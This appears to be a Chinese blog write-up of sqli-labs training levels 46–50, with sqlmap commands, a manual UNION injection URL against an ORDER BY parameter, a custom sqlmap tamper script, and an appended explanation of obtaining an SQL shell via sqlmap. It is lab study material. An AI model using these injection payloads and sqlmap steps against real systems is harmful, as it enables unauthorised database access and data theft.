SQLMAP脚本-sql-labs-Less-46-50

Less-46

 这个直接看后端代码吧

可以看到这后端是使用了order by排序查询所以没办法在后面拼接union但可以使用报错注入啊

 python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-46/?sort=1"  --technique=B --users --tamper=air.py --level=3

 

order by和union想同时使用需要加双方都加括号,这里只能控制union的括号无法控制order by的所以不行
但我们把后端加上括号....

http://192.168.0.101/2022.10.26/sqli-labs-master/Less-46/?sort=1)%20union%20%20%20(select%201,2,database()

即可拿下
使用sqlmap跑一下
编写脚本cx.py
 

#!/usr/bin/env python
import sys
import random
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    local=""
    Jump=True
     for i in range(len(payload)):
        if ((payload[i-9:i].lower() == "union all") or (payload[i-5:i].lower() == "union") ) and Jump==True: #判断payload是不是union all或者union 是的话就在他们的后面加入一个括号
            local += "("
            Jump = False
        local+=payload[i]
    local=local.replace('#', '')
    local=local.replace('-- -', '')
    return local

python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-46/?sort=1"  --technique=U --users --tamper=cx.py,air.py

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] 

这个选项记得选n不然它就猜字段了,根本猜不了


 Less-47

和上关比就是换了闭合变成单引号使用报错注入即可
 Less-48
同46关,只不过关闭了报错,无法使用报错注入

可以使用时间注入 
Less-49

                                             同47,关闭了报错,无法使用报错注入
                                                                 Less-50
              

                堆叠注入
没了....就写个脚本摸鱼就没了... 
剩下的labs也没啥能做的了就都差不多关闭报错换闭合之类的了

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
使用`--sql-shell`选项可以让你在目标数据库上执行任意的SQL语句。以下是使用`--sql-shell`选项的基本步骤: 1. 首先,使用SQLMap进行探测并确认数据库注入漏洞是否存在。可以使用以下命令进行探测: ``` sqlmap -u <target-URL> --dbs ``` 2. 确认存在注入漏洞之后,可以使用以下命令来获取数据库中的所有表: ``` sqlmap -u <target-URL> -D <database-name> --tables ``` 其中,`<database-name>`是你想要访问的数据库名称。 3. 根据需要选择你想要访问的表,并使用以下命令来获取表中的所有列: ``` sqlmap -u <target-URL> -D <database-name> -T <table-name> --columns ``` 其中,`<table-name>`是你想要访问的表名称。 4. 根据需要选择你想要访问的列,并使用以下命令来获取`--sql-shell`: ``` sqlmap -u <target-URL> -D <database-name> -T <table-name> -C <column-name> --sql-shell ``` 其中,`<column-name>`是你想要访问的列名称。 5. 输入`--sql-shell`后,你将进入SQL Shell命令行提示符,此时你可以输入任意的SQL命令,并按回车键执行。例如: ``` mysql> SELECT * FROM users WHERE username='admin'; ``` 这个命令将返回名为`users`的表中用户名为`admin`的行的所有数据。 请注意,这些命令只是SQLMap获取SQL Shell的基本用法。具体步骤取决于你想要访问的数据库和表。同时,需要强调的是,这种方法只适用于合法的授权情况下,任何未经授权的访问都是违法的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值